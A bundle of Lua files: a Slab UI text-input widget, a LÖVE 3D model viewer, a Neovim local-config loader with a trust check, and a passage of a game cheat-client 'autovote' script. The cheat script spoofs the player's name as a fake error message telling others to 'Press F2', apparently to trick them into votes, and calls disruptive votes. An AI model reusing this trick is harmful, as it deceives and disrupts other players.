table.insert(external_files[v.file][v.line], v.column)
end
end
for f, v in pairs(external_files)
do
local buffer = ""
local lineno = 0
for line in io.lines(f)
do
lineno = lineno + 1
if v[lineno] ~= nil
then
for i, column in ipairs(v[lineno])
do
local selword = line:sub(column+1, column + #current_word)
if selword == current_word then
local head = line:sub(1, column)
local tail = line:sub(column + #current_word+1)
line = head..result..tail
end
end
end
buffer = buffer..line..(WIN32 and "\r" or "").."\n"
end
local file = io.open(f, "w")
file.write(buffer)
file.close()
end
end
end
return _M |
--[[
MIT License
Copyright (c) 2019 Mitchell Davis <coding.jackalope@gmail.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
--]]
local Cursor = require(SLAB_PATH .. '.Internal.Core.Cursor')
local DrawCommands = require(SLAB_PATH .. '.Internal.Core.DrawCommands')
local Keyboard = require(SLAB_PATH .. '.Internal.Input.Keyboard')
local Mouse = require(SLAB_PATH .. '.Internal.Input.Mouse')
local Region = require(SLAB_PATH .. '.Internal.UI.Region')
local Stats = require(SLAB_PATH .. '.Internal.Core.Stats')
local Style = require(SLAB_PATH .. '.Style')
local Text = require(SLAB_PATH .. '.Internal.UI.Text')
local Tooltip = require(SLAB_PATH .. '.Internal.UI.Tooltip')
local UTF8 = require('utf8')
local Window = require(SLAB_PATH .. '.Internal.UI.Window')
local Input = {}
local Instances = {}
local Focused = nil
local LastFocused = nil
local TextCursorPos = 0
local TextCursorAnchor = -1
local TextCursorAlpha = 0.0
local FadeIn = true
local DragSelect = false
local FocusToNext = false
local LastText = ""
local MIN_WIDTH = 150.0
local TEXT_CURSOR_PAD = 3.0
local function GetSelection(Instance)
if Instance ~= nil and TextCursorAnchor >= 0 and TextCursorAnchor ~= TextCursorPos then
local Min = math.min(TextCursorAnchor, TextCursorPos) + 1
local Max = math.max(TextCursorAnchor, TextCursorPos)
return string.sub(Instance.Text, Min, Max)
end
return ""
end
local function IsValidDigit(Instance, Ch)
if Instance ~= nil then
if Instance.NumbersOnly then
if string.match(Ch, "%d") ~= nil then
return true
end
if Ch == "." then
local Selected = GetSelection(Instance)
if Selected ~= nil and string.find(Selected, ".", 1, true) ~= nil then
return true
end
if string.find(Instance.Text, ".", 1, true) == nil then
return true
end
end
else
return true
end
end
return false
end
local function IsCommandKeyDown()
local LKey, RKey = 'lctrl', 'rctrl'
if love.system.getOS() == "OS X" then
LKey, RKey = 'lgui', 'rgui'
end
return Keyboard.IsDown(LKey) or Keyboard.IsDown(RKey)
end
local function IsHomePressed()
local Result = false
if love.system.getOS() == "OS X" then
Result = IsCommandKeyDown() and Keyboard.IsPressed('left')
else
Result = Keyboard.IsPressed('home')
end
return Result
end
local function IsEndPressed()
local Result = false
if love.system.getOS() == "OS X" then
Result = IsCommandKeyDown() and Keyboard.IsPressed('right')
else
Result = Keyboard.IsPressed('end')
end
return Result
end
local function GetCursorXOffset(Instance)
if Instance ~= nil then
if TextCursorPos > 0 then
local Offset = UTF8.offset(Instance.Text, 0, TextCursorPos)
local Sub = string.sub(Instance.Text, 1, Offset)
return Style.Font:getWidth(Sub) + TEXT_CURSOR_PAD
end
end
return TEXT_CURSOR_PAD
end
local function GetNextCursorPos(Instance, Left)
local Result = 0
if Instance ~= nil then
local NextSpace = Keyboard.IsDown('lalt') or Keyboard.IsDown('ralt')
if NextSpace then
if Left then
Result = 0
local I = 0
while I ~= nil and I + 1 < TextCursorPos do
I = string.find(Instance.Text, " ", I + 1, true)
if I ~= nil and I < TextCursorPos then
Result = I
else
break
end
end
else
local I = string.find(Instance.Text, " ", TextCursorPos + 1, true)
if I ~= nil then
Result = I
else
Result = #Instance.Text
end
end
else
if Left then
Result = TextCursorPos - 1
else
Result = TextCursorPos + 1
end
end
Result = math.max(0, Result)
Result = math.min(Result, #Instance.Text)
end
return Result
end
local function GetTextCursorPos(Instance, X)
local Result = 0
if Instance ~= nil then
for I = 1, #Instance.Text, 1 do
local Offset = UTF8.offset(Instance.Text, 0, I)
local Sub = string.sub(Instance.Text, 1, Offset)
local PosX = Style.Font:getWidth(Sub) + TEXT_CURSOR_PAD
if PosX > X then
break
end
Result = I
end
end
return Result
end
local function UpdateTransform(Instance)
if Instance ~= nil then
local Offset = GetCursorXOffset(Instance)
local TX, TY = Region.InverseTransform(Instance.Id, 0.0, 0.0)
local W = TX + Instance.W
if Offset > W then
Region.Translate(Instance.Id, -(Offset - W + TEXT_CURSOR_PAD), 0.0)
elseif Offset < TX then
Region.Translate(Instance.Id, TX - Offset + TEXT_CURSOR_PAD, 0.0)
end
end
end
local function DeleteSelection(Instance)
local Result = false
if Instance ~= nil and Instance.Text ~= "" then
local Start = 0
local Min = 0
local Max = 0
if TextCursorAnchor ~= -1 then
Min = math.min(TextCursorAnchor, TextCursorPos) + 1
Max = math.max(TextCursorAnchor, TextCursorPos) + 1
if Min == 1 then
Start = #Instance.Text + 1
end
Result = true
else
if TextCursorPos == 0 then
return Result
end
Min = TextCursorPos
Max = TextCursorPos + 1
if Min == 1 then
Start = #Instance.Text + 1
Max = Min + 1
end
Result = true
end
local OffsetMin = UTF8.offset(Instance.Text, -1, math.max(Min, 1))
local OffsetMax = UTF8.offset(Instance.Text, 1, Max)
Instance.Text = string.sub(Instance.Text, Start, OffsetMin) .. string.sub(Instance.Text, OffsetMax)
if Result then
if TextCursorAnchor ~= -1 then
TextCursorPos = math.min(TextCursorAnchor, TextCursorPos)
end
TextCursorPos = math.max(0, TextCursorPos)
TextCursorPos = math.min(TextCursorPos, #Instance.Text + 1)
end
TextCursorAnchor = -1
end
return Result
end
local function DrawSelection(Instance, X, Y, W, H, Color)
if Instance ~= nil and TextCursorAnchor >= 0 and TextCursorAnchor ~= TextCursorPos then
local Min = math.min(TextCursorAnchor, TextCursorPos)
local Max = math.max(TextCursorAnchor, TextCursorPos)
local OffsetMin = UTF8.offset(Instance.Text, 1, math.max(Min, 1))
local OffsetMax = UTF8.offset(Instance.Text, 1, Max)
if Min == 0 then
OffsetMin = 0
end
local SubMin = string.sub(Instance.Text, 1, OffsetMin)
local SubMax = string.sub(Instance.Text, 1, OffsetMax)
local MinX = Style.Font:getWidth(SubMin) + 3.0
local MaxX = Style.Font:getWidth(SubMax) + 3.0
DrawCommands.Rectangle('fill', X + MinX, Y, MaxX - MinX, H, Color)
end
end
local function DrawCursor(Instance, X, Y, W, H)
if Instance ~= nil then
local CX = X + GetCursorXOffset(Instance)
local CY = Y
DrawCommands.Line(CX, CY, CX, CY + H, 1.0, {0.0, 0.0, 0.0, TextCursorAlpha})
end
end
local function GetInstance(Id)
for I, V in ipairs(Instances) do
if V.Id == Id then
return V
end
end
local Instance = {}
Instance.Id = Id
Instance.Text = ""
Instance.TextChanged = false
Instance.NumbersOnly = true
table.insert(Instances, Instance)
return Instance
end
function Input.Begin(Id, Options)
assert(Id ~= nil, "Please pass a valid Id into Slab.Input.")
Stats.Begin('Input')
Options = Options == nil and {} or Options
Options.Tooltip = Options.Tooltip == nil and "" or Options.Tooltip
Options.ReturnOnText = Options.ReturnOnText == nil and true or Options.ReturnOnText
Options.Text = Options.Text == nil and nil or Options.Text
Options.BgColor = Options.BgColor == nil and Style.InputBgColor or Options.BgColor
Options.SelectColor = Options.SelectColor == nil and Style.InputSelectColor or Options.SelectColor
Options.SelectOnFocus = Options.SelectOnFocus == nil and true or Options.SelectOnFocus
Options.W = Options.W == nil and nil or Options.W
Options.H = Options.H == nil and nil or Options.H
Options.ReadOnly = Options.ReadOnly == nil and false or Options.ReadOnly
Options.Align = Options.Align == nil and 'center' or Options.Align
Options.Rounding = Options.Rounding == nil and Style.InputBgRounding or Options.Rounding
local Instance = GetInstance(Window.GetId() .. "." .. Id)
Instance.NumbersOnly = Options.NumbersOnly
local WinItemId = Window.GetItemId(Id)
if Focused ~= Instance then
Instance.Text = Options.Text == nil and Instance.Text or Options.Text
end
local X, Y = Cursor.GetPosition()
local H = Options.H == nil and Input.GetHeight() or Options.H
local W = Options.W == nil and MIN_WIDTH or Options.W
local Result = false
Instance.W = W
local MouseX, MouseY = Window.GetMousePosition()
local Hovered = not Window.IsObstructedAtMouse() and X <= MouseX and MouseX <= X + W and Y <= MouseY and MouseY <= Y + H
if Hovered then
Mouse.SetCursor('ibeam')
Tooltip.Begin(Options.Tooltip)
Window.SetHotItem(WinItemId)
end
local CheckFocus = Mouse.IsClicked(1) and not Options.ReadOnly
local FocusedThisFrame = false
local ClearFocus = false
if CheckFocus then
if Hovered then
FocusedThisFrame = Focused ~= Instance
Focused = Instance
elseif Instance == Focused then
Focused = nil
end
end
if FocusToNext and LastFocused == nil then
FocusedThisFrame = true
Focused = Instance
CheckFocus = true
FocusToNext = false
TextCursorAnchor = -1
TextCursorPos = 0
end
if LastFocused == Instance then
LastFocused = nil
end
if Instance == Focused then
local Back = false
local ShouldDelete = false
local ShouldUpdateTransform = false
if IsCommandKeyDown() then
if Keyboard.IsPressed('x') or Keyboard.IsPressed('c') then
local Selected = GetSelection(Instance)
if Selected ~= "" then
love.system.setClipboardText(Selected)
ShouldDelete = Keyboard.IsPressed('x')
end
end
if Keyboard.IsPressed('v') then
local Text = love.system.getClipboardText()
Input.Text(Text)
TextCursorPos = math.min(TextCursorPos + #Text - 1, #Instance.Text)
end
end
if Keyboard.IsPressed('tab') then
LastFocused = Instance
FocusToNext = true
end
if Keyboard.IsPressed('backspace') then
ShouldDelete = true
end
if ShouldDelete then
if DeleteSelection(Instance) then
Back = true
end
end
local ClearAnchor = false
local IsShiftDown = Keyboard.IsDown('lshift') or Keyboard.IsDown('rshift')
if Keyboard.IsPressed('lshift') or Keyboard.IsPressed('rshift') then
if TextCursorAnchor == -1 then
TextCursorAnchor = TextCursorPos
end
end
if IsHomePressed() then
TextCursorPos = 0
ShouldUpdateTransform = true
end
if IsEndPressed() then
TextCursorPos = #Instance.Text
ShouldUpdateTransform = true
end
if Keyboard.IsPressed('left') or Back then
TextCursorPos = GetNextCursorPos(Instance, true)
ShouldUpdateTransform = true
end
if Keyboard.IsPressed('right') then
TextCursorPos = GetNextCursorPos(Instance, false)
ShouldUpdateTransform = true
end
if CheckFocus or DragSelect then
if FocusedThisFrame and Options.SelectOnFocus and Instance.Text ~= "" then
TextCursorAnchor = 0
TextCursorPos = #Instance.Text
else
local MouseInputX, MouseInputY = MouseX - X, MouseY - Y
local CX, CY = Region.InverseTransform(Instance.Id, MouseInputX, MouseInputY)
TextCursorPos = GetTextCursorPos(Instance, CX)
if Mouse.IsClicked(1) then
TextCursorAnchor = TextCursorPos
DragSelect = true
end
ShouldUpdateTransform = true
IsShiftDown = true
end
end
if Mouse.IsReleased(1) then
DragSelect = false
if TextCursorAnchor == TextCursorPos then
TextCursorAnchor = -1
end
end
if ShouldUpdateTransform then
ClearAnchor = not IsShiftDown
UpdateTransform(Instance)
end
if Keyboard.IsPressed('return') then
Result = true
ClearFocus = true
end
if Instance.TextChanged or Back then
if Options.ReturnOnText then
Result = true
end
Instance.TextChanged = false
end
if ClearAnchor then
TextCursorAnchor = -1
end
else
if Instance.NumbersOnly and (Instance.Text == "" or Instance.Text == ".") then
Instance.Text = "0"
end
end
if Instance == Focused then
Options.BgColor = Style.InputEditBgColor
end
local TX, TY = Window.TransformPoint(X, Y)
Region.Begin(Instance.Id, {
X = X,
Y = Y,
W = W,
H = H,
BgColor = Options.BgColor,
SX = TX,
SY = TY,
Intersect = true,
IgnoreScroll = true,
Rounding = Options.Rounding
})
if Instance == Focused then
DrawSelection(Instance, X, Y, W, H, Options.SelectColor)
DrawCursor(Instance, X, Y, W, H)
end
if Instance.Text ~= "" then
if Instance == Focused or Options.Align == 'left' then
Cursor.SetPosition(X + 2.0, Y)
else
local TextW = Style.Font:getWidth(Instance.Text)
Cursor.SetPosition(X + (W * 0.5) - (TextW * 0.5), Y)
end
Text.Begin(Instance.Text, {AddItem = false})
end
Region.End()
Region.ApplyScissor()
Cursor.SetItemBounds(X, Y, W, H)
Cursor.SetPosition(X, Y)
Cursor.AdvanceX(W)
Cursor.AdvanceY(H)
Window.AddItem(X, Y, W, H, WinItemId)
if ClearFocus then
if Instance.NumbersOnly then
local Value = tonumber(Instance.Text)
if Value ~= nil then
Instance.Text = tostring(Value)
end
end
LastText = Instance.Text
Focused = nil
Region.ResetTransform(Instance.Id)
end
Stats.End('Input')
return Result
end
function Input.Text(Ch)
if Focused ~= nil then
if not IsValidDigit(Focused, Ch) then
return
end
if TextCursorAnchor ~= -1 then
DeleteSelection(Focused)
end
if TextCursorPos == 0 then
Focused.Text = Ch .. Focused.Text
else
local Temp = Focused.Text
local LOffset = UTF8.offset(Temp, 1, TextCursorPos)
local ROffset = UTF8.offset(Temp, 2, TextCursorPos)
Focused.Text = string.sub(Temp, 1, LOffset)
Focused.Text = Focused.Text .. Ch
Focused.Text = Focused.Text .. string.sub(Temp, ROffset)
end
TextCursorPos = math.min(TextCursorPos + 1, #Focused.Text)
TextCursorAnchor = -1
UpdateTransform(Focused)
Focused.TextChanged = true
end
end
function Input.Update(dt)
local Delta = dt * 2.0
if FadeIn then
TextCursorAlpha = math.min(TextCursorAlpha + Delta, 1.0)
FadeIn = TextCursorAlpha < 1.0
else
TextCursorAlpha = math.max(TextCursorAlpha - Delta, 0.0)
FadeIn = TextCursorAlpha == 0.0
end
end
function Input.GetText()
if Focused ~= nil then
if Focused.NumbersOnly and (Focused.Text == "" or Focused.Text == ".") then
return "0"
end
return Focused.Text
end
return LastText
end
function Input.GetHeight()
return Style.Font:getHeight()
end
function Input.IsFocused()
return Focused ~= nil
end
return Input
|
local iqm = require("lib.iqm")
local cpml = require("lib.cpml")
local shader = love.graphics.newShader [[
varying vec3 f_normal;
#ifdef VERTEX
attribute vec3 VertexNormal;
uniform mat4 u_model;
uniform mat4 u_viewProj;
vec4 position(mat4 _, vec4 vertex) {
f_normal = mat3(u_model) * VertexNormal;
return u_viewProj * u_model * vertex;
}
#endif
#ifdef PIXEL
uniform vec4 u_light;
const float exposure = 1.5;
const float gamma = 2.2;
vec4 effect(vec4 _col, Image s_color, vec2 _uv, vec2 _sc) {
vec4 color = gammaToLinear(_col);
vec3 normal = normalize(f_normal);
float shade = max(0.0, dot(normal, u_light.xyz));
color.rgb *= shade;
color.rgb *= u_light.w;
// RomBinDaHouse
color.rgb = exp( -1.0 / ( 2.72*color.rgb + 0.15 ) );
color.rgb = pow(color.rgb, vec3(1.0 / gamma));
return vec4(color.rgb, 1.0);
}
#endif
]]
local object = {
model = iqm.load("models/cthulhu.iqm"),
position = cpml.vec3(0, 0, 0)
}
local inspect = require('lib.inspect.inspect')
print(inspect(object.model.mesh:getVertexFormat()))
local camera_fov = 60
local camera_pos = cpml.vec3(0, -5, -15)
local light_direction = cpml.vec3(0, -0.76, 0.65):normalize()
local light_intensity = 3
local dragging = false
function love.mousepressed(x, y, b)
if b == 1 then
dragging = true
love.mouse.setRelativeMode(true)
end
end
function love.mousereleased(x, y, b)
if b == 1 then
dragging = false
love.mouse.setRelativeMode(false)
end
end
local angle = cpml.vec2(0, 0)
local sensitivity = 0.5
function love.mousemoved(x, y, mx, my)
if dragging then
angle.x = angle.x + math.rad(mx * sensitivity)
angle.y = angle.y + math.rad(my * sensitivity)
end
end
function love.draw()
-- clear the depth buffer
-- l3d.clear()
-- view matrix (i.e. camera transform)
local v = cpml.mat4()
v:translate(v, camera_pos)
v:rotate(v, -math.pi/2, cpml.vec3.unit_x)
v:rotate(v, angle.y, cpml.vec3.unit_x)
v:rotate(v, angle.x, cpml.vec3.unit_z)
-- projection matrix (i.e. screen transform)
local w, h = love.graphics.getDimensions()
local p = cpml.mat4.from_perspective(camera_fov, w/h, 0.1, 1000.0)
love.graphics.setShader(shader)
-- update shader uniforms. set viewProj once, model for each.
shader:send("u_viewProj", (v*p):to_vec4s())
shader:send("u_light", {
light_direction.x, light_direction.y, light_direction.z,
light_intensity
})
-- enable depth and draw only front-facing polygons
love.graphics.setDepthMode('less', true)
-- love.graphics.setMeshCullMode('back')
-- l3d.set_depth_test("less")
-- l3d.set_culling("back")
love.graphics.setBlendMode("replace")
-- model matrix (i.e. local transform)
local m = cpml.mat4()
m = m:translate(m, object.position)
shader:send("u_model", m:to_vec4s())
for _, buffer in ipairs(object.model) do
object.model.mesh:setDrawRange(buffer.first, buffer.last)
love.graphics.draw(object.model.mesh)
end
-- reset everything so you can draw 2D again.
-- l3d.set_depth_test()
-- l3d.set_culling()
love.graphics.setBlendMode("alpha")
end
|
local HashMap = require "config-local.hashmap"
local Notifier = require "config-local.notify"
local utils = require "config-local.utils"
local api = vim.api
local hashmap, notifier
local M = {
-- Default config
config = {
config_files = { ".vimrc.lua", ".vimrc" },
hashfile = vim.fn.stdpath "data" .. "/config-local",
autocommands_create = true,
commands_create = true,
silent = false,
lookup_parents = false,
},
}
---Forget a config file
---
function M.forget()
local filename = vim.fn.expand "%:p"
hashmap:write(filename, nil)
end
---Confirm a config file on save
---
function M.confirm()
local filename = vim.fn.expand "%:p"
local state = hashmap:verify(filename)
if state ~= "t" then
local choice = notifier:confirm(
"Do you want to mark this config as trusted: " .. filename .. "?",
"&Yes\n&No"
)
if choice == 1 then
return M.trust(filename)
end
end
end
---Ignore local configuration
---
--- @param filename string: a file name
function M.ignore(filename)
filename = filename or M.lookup()
if not filename then
return notifier:notify(
"Config file doesn't found: " .. table.concat(M.config.config_files, ","),
4
)
end
hashmap:write(filename, "!")
notifier:notify('Config file "' .. filename .. '" marked as ignored', 3)
end
---Edit local configuration
---
--- @param filename string: a file name
function M.edit(filename)
filename = filename or M.lookup() or M.config.config_files[1]
api.nvim_command("edit " .. filename)
end
---Mark the given filename as trusted
---
--- @param filename string: a file name
function M.trust(filename)
if not utils.contains_filename(M.config.config_files, filename) then
return notifier:notify('Unsupported config filetype: "' .. filename .. '"', 4)
end
hashmap:trust(filename)
notifier:notify('Config file "' .. filename .. '" marked as trusted')
M.read(filename)
end
---Read the given filename
function M.read(filename)
api.nvim_command("source " .. filename)
notifier:onotify('Config file loaded: "' .. vim.fn.fnamemodify(filename, ":~:.") .. '"')
end
---Look for config files
function M.lookup()
local path = M.config.lookup_parents and ";." or "."
for _, filename in ipairs(M.config.config_files) do
filename = vim.fn.findfile(filename, path)
if filename ~= "" then
return vim.fn.fnamemodify(filename, ":p")
end
end
end
---Load config if it exist in the current directory
---
function M.source()
local filename = M.lookup()
if filename then
local verify = hashmap:verify(filename)
-- Read the config
if verify == "t" then
M.read(filename)
-- Verify the config
elseif verify == "u" then
local msg = 'Unknown config file found: "' .. vim.fn.fnamemodify(filename, ":~:.") .. '"'
local choice = notifier:confirm(msg, "&skip\n&open\n&ignore\n&trust")
-- Edit config
if choice == 2 then
M.edit(filename)
-- Mark the config as ignore
elseif choice == 3 then
M.ignore(filename)
-- Mark the config as trusted
elseif choice == 4 then
M.trust(filename)
end
-- Ignore the config
else
notifier:onotify('File "' .. filename .. '" is ignored')
end
end
api.nvim_command "doautocmd User ConfigFinished"
end
-- Setup the plugin
---
function M.setup(cfg)
-- Update config
if cfg ~= nil then
M.config = vim.tbl_deep_extend("force", M.config, cfg)
end
local config = M.config
local rc_files = M.config.config_files
-- Initialize tools
hashmap = HashMap:init(config.hashfile)
notifier = Notifier:init(config.silent)
if #rc_files == 0 then
return notifier:notify('Invalid config: "config_files" is empty', 4)
end
if M.config.commands_create then
api.nvim_command "command! ConfigEdit lua require'config-local'.edit()<CR>"
api.nvim_command "command! ConfigSource lua require'config-local'.source()<CR>"
api.nvim_command "command! ConfigTrust lua require'config-local'.trust(vim.fn.expand('%:p'))<CR>"
api.nvim_command "command! ConfigIgnore lua require'config-local'.ignore()<CR>"
end
if M.config.autocommands_create then
utils.augroup("config-local", {
-- Source local configs
"DirChanged global nested lua require'config-local'.source()",
"VimEnter * nested lua require'config-local'.source()",
-- Confirm local configs
"BufWritePost " .. table.concat(
utils.map(rc_files, function(f)
return "**/" .. f
end),
","
) .. " lua require'config-local'.confirm()",
-- Fix filetype for '.vimrc.lua'
utils.contains(rc_files, ".vimrc.lua") and "BufRead .vimrc.lua set filetype=lua",
})
end
end
return M
|
local ui_new_checkbox = ui.new_checkbox
local ui_new_slider = ui.new_slider
local ui_new_color_picker = ui.new_color_picker
local ui_set_callback = ui.set_callback
local ui_get = ui.get
local ui_set = ui.set
local ui_reference = ui.reference
local math_min = math.min
local math_max = math.max
local math_floor = math.floor
local renderer_text = renderer.text
local renderer_rectangle = renderer.rectangle
local renderer_line = renderer.line
local renderer_measure_text = renderer.measure_text
local globals_curtime = globals.curtime
local globals_tickcount = globals.tickcount
local globals_mapname = globals.mapname
local client_exec = client.exec
local client_screen_size = client.screen_size
local client_userid_to_entindex = client.userid_to_entindex
local client_set_cvar = client.set_cvar
local client_delay_call = client.delay_call
local client_set_event_callback = client.set_event_callback
local entity_get_local_player = entity.get_local_player
local string_format = string.format
local table_concat = table.concat
-- [About]--------------------------------------------------------------------------------------------------------------
-- Made by w7rus (Astolfo)
-- Credits: duk [https://gamesense.pub/forums/viewtopic.php?id=10838]
-- spongyguy [https://gamesense.pub/forums/viewtopic.php?id=8383]
-- [Configuration] --------------------------------------------------------------- [Description] -----------------------
local b_autovote_enable = ui_new_checkbox("Misc", "Miscellaneous", "Autovote")
local i_autovote_relPosX = ui_new_slider("Misc", "Miscellaneous", "Autovote > Indicator PosX", 0, 100, 50, true, "%", 1)
local i_autovote_relPosY = ui_new_slider("Misc", "Miscellaneous", "Autovote > Indicator PosY", 0, 100, 95, true, "%", 1)
local i_autovote_relSizeX = ui_new_slider("Misc", "Miscellaneous", "Autovote > Indicator SizeX", 0, 100, 100, true, "%", 1)
local i_autovote_relSizeY = ui_new_slider("Misc", "Miscellaneous", "Autovote > Indicator SizeY", 0, 100, 3, true, "%", 1)
local str_autovote_voteName = "👌 \nAn error has occured!\nPress F2 to continue..."
local b_autovote_keepVoteName = ui_new_checkbox("Misc", "Miscellaneous", "Autovote > Keep vote name")
local b_autovote_debug = ui_new_checkbox("Misc", "Miscellaneous", "Autovote > Debug")
-- ["Do not edit below this line"] -------------------------------------------------------------------------------------
-- [Calculated configuration] ------------------------------------------------------------------------------------------
local entIndex_localEntCCSPlayer = entity_get_local_player()
local entIndex_localEntCCSPlayer_pName = cvar.name:get_string()
local i_autovote_scrWidth,
i_autovote_scrHeight = client_screen_size()
local i_autovote_eVoteCast_tSwapTeams_timeStamp = 0
local i_autovote_eVoteCast_tChangeLevel_timeStamp = 0
local i_autovote_eVoteCast_tAny_timeStamp = 0
local i_autovote_eVoteOptions_tickStamp = 0
local b_autovote_tSwapTeams_cooldown = false
local b_autovote_tChangeLevel_cooldown = false
local b_autovote_tAny_cooldown = false
local i_autovote_voteCast = 0
local t_autovote_voteOptions = {}
local str_autovote_eVoteCast_voteName = ""
local ref_autovote_stealPlayerName = ui_reference("Misc", "Miscellaneous", "Steal player name")
-- [Functions] ---------------------------------------------------------------------------------------------------------
function func_autovote_eVoteOptions(event)
if not ui_get(b_autovote_enable) then
return
end
t_autovote_voteOptions[0] = event.option1
t_autovote_voteOptions[1] = event.option2
t_autovote_voteOptions[2] = event.option3
t_autovote_voteOptions[3] = event.option4
t_autovote_voteOptions[4] = event.option5
i_autovote_eVoteOptions_tickStamp = globals_tickcount()
end
function func_autovote_eVoteCast_delayCall2()
if not ui_get(b_autovote_keepVoteName) then
client_set_cvar("name", entIndex_localEntCCSPlayer_pName)
end
end
function func_autovote_eVoteCast_delayCall1()
local str_serverMap = globals_mapname()
if i_autovote_voteCast == 0 and
b_autovote_tChangeLevel_cooldown == false and
b_autovote_tAny_cooldown == false then
client_exec("callvote changelevel " .. str_serverMap)
i_autovote_voteCast = 1
b_autovote_tChangeLevel_cooldown = true
b_autovote_tAny_cooldown = true
i_autovote_eVoteCast_tChangeLevel_timeStamp = globals_curtime()
i_autovote_eVoteCast_tAny_timeStamp = globals_curtime()
end
if i_autovote_voteCast == 1 and
b_autovote_tSwapTeams_cooldown == false and
b_autovote_tAny_cooldown == false then
client_exec("callvote swapteams")
i_autovote_voteCast = 0
b_autovote_tSwapTeams_cooldown = true
b_autovote_tAny_cooldown = true
i_autovote_eVoteCast_tSwapTeams_timeStamp = globals_curtime()
i_autovote_eVoteCast_tAny_timeStamp = globals_curtime()
end
client_delay_call(0.25, func_autovote_eVoteCast_delayCall2)
end
function func_autovote_eVoteCast(event)
if not ui_get(b_autovote_enable) then
return
end
entIndex_serverEntCCSPlayer = event.entityid
if entIndex_serverEntCCSPlayer == nil then
return
end
if b_autovote_tAny_cooldown == false then
if entIndex_serverEntCCSPlayer == entIndex_localEntCCSPlayer then
if i_autovote_eVoteOptions_tickStamp == globals_tickcount() then
if t_autovote_voteOptions[event.vote_option] == "No" then
str_autovote_eVoteCast_voteName = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" .. str_autovote_voteName .. "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
client_set_cvar("name", str_autovote_eVoteCast_voteName)
client_delay_call(0.25, func_autovote_eVoteCast_delayCall1)
end
end
end
end
end
function func_autovote_ePlayerConnectFull(event)
entIndex_localEntCCSPlayer = entity_get_local_player()
if client_userid_to_entindex(event.userid) == entIndex_localEntCCSPlayer then
entIndex_localEntCCSPlayer_pName = cvar.name:get_string()
i_autovote_eVoteCast_tSwapTeams_timeStamp = 0
i_autovote_eVoteCast_tChangeLevel_timeStamp = 0
i_autovote_eVoteCast_tAny_timeStamp = 0
i_autovote_eVoteOptions_tickStamp = 0
b_autovote_tSwapTeams_cooldown = false
b_autovote_tChangeLevel_cooldown = false
b_autovote_tAny_cooldown = false
i_autovote_voteCast = 0
t_autovote_voteOptions = {}
func_autovote_setup()
end
end
function func_autovote_eDraw()
if not ui_get(b_autovote_enable) then
return
end
local i_autovote_eDraw_timeStamp = globals_curtime()
local i_autovote_eVoteCast_tSwapTeams_cooldown = 0
local i_autovote_eVoteCast_tChangeLevel_cooldown = 0
local i_autovote_eVoteCast_tSwapTeams_duration = i_autovote_eDraw_timeStamp - i_autovote_eVoteCast_tSwapTeams_timeStamp
local i_autovote_eVoteCast_tChangeLevel_duration = i_autovote_eDraw_timeStamp - i_autovote_eVoteCast_tChangeLevel_timeStamp
local i_autovote_eVoteCast_tAny_duration = 0
local i_autovote_eVoteCast_tAny_limit = 0
if b_autovote_tSwapTeams_cooldown then
if i_autovote_eVoteCast_tSwapTeams_duration > 300 then
b_autovote_tSwapTeams_cooldown = false
end
i_autovote_eVoteCast_tSwapTeams_cooldown = i_autovote_eVoteCast_tSwapTeams_duration
else
i_autovote_eVoteCast_tSwapTeams_cooldown = 0
end
if b_autovote_tChangeLevel_cooldown then
if i_autovote_eVoteCast_tChangeLevel_duration > 300 then
b_autovote_tChangeLevel_cooldown = false
end
i_autovote_eVoteCast_tChangeLevel_cooldown = i_autovote_eVoteCast_tChangeLevel_duration
else
i_autovote_eVoteCast_tChangeLevel_cooldown = 0
end
if b_autovote_tAny_cooldown then
if math_min(i_autovote_eVoteCast_tSwapTeams_cooldown, i_autovote_eVoteCast_tChangeLevel_cooldown) < 90 and (b_autovote_tSwapTeams_cooldown == false or b_autovote_tChangeLevel_cooldown == false) then
i_autovote_eVoteCast_tAny_duration = i_autovote_eDraw_timeStamp - i_autovote_eVoteCast_tAny_timeStamp
if i_autovote_eVoteCast_tAny_duration > 90 then
b_autovote_tAny_cooldown = false
end
else
i_autovote_eVoteCast_tAny_duration = math_max(i_autovote_eVoteCast_tSwapTeams_cooldown, i_autovote_eVoteCast_tChangeLevel_cooldown)
end
else
i_autovote_eVoteCast_tAny_duration = 0
end
if b_autovote_tAny_cooldown then
if b_autovote_tSwapTeams_cooldown or b_autovote_tChangeLevel_cooldown then
i_autovote_eVoteCast_tAny_limit = 90
end
if b_autovote_tSwapTeams_cooldown and b_autovote_tChangeLevel_cooldown then
i_autovote_eVoteCast_tAny_limit = 300
end
else
i_autovote_eVoteCast_tAny_limit = 0
end
if ui_get(b_autovote_debug) then
local x, y = 8, 256
renderer_text(x, y + 8 * 0, 255, 255, 255, 255, nil, 0, "globals_curtime: " .. string_format("%.2f", i_autovote_eDraw_timeStamp))
renderer_text(x, y + 8 * 1, 255, 255, 255, 255, nil, 0, "SwapTeams_timeStamp: " .. string_format("%.2f", i_autovote_eVoteCast_tSwapTeams_timeStamp))
renderer_text(x, y + 8 * 2, 255, 255, 255, 255, nil, 0, "ChangeLevel_timeStamp: " .. string_format("%.2f", i_autovote_eVoteCast_tChangeLevel_timeStamp))
renderer_text(x, y + 8 * 3, 255, 255, 255, 255, nil, 0, "Any_timeStamp: " .. string_format("%.2f", i_autovote_eVoteCast_tAny_timeStamp))
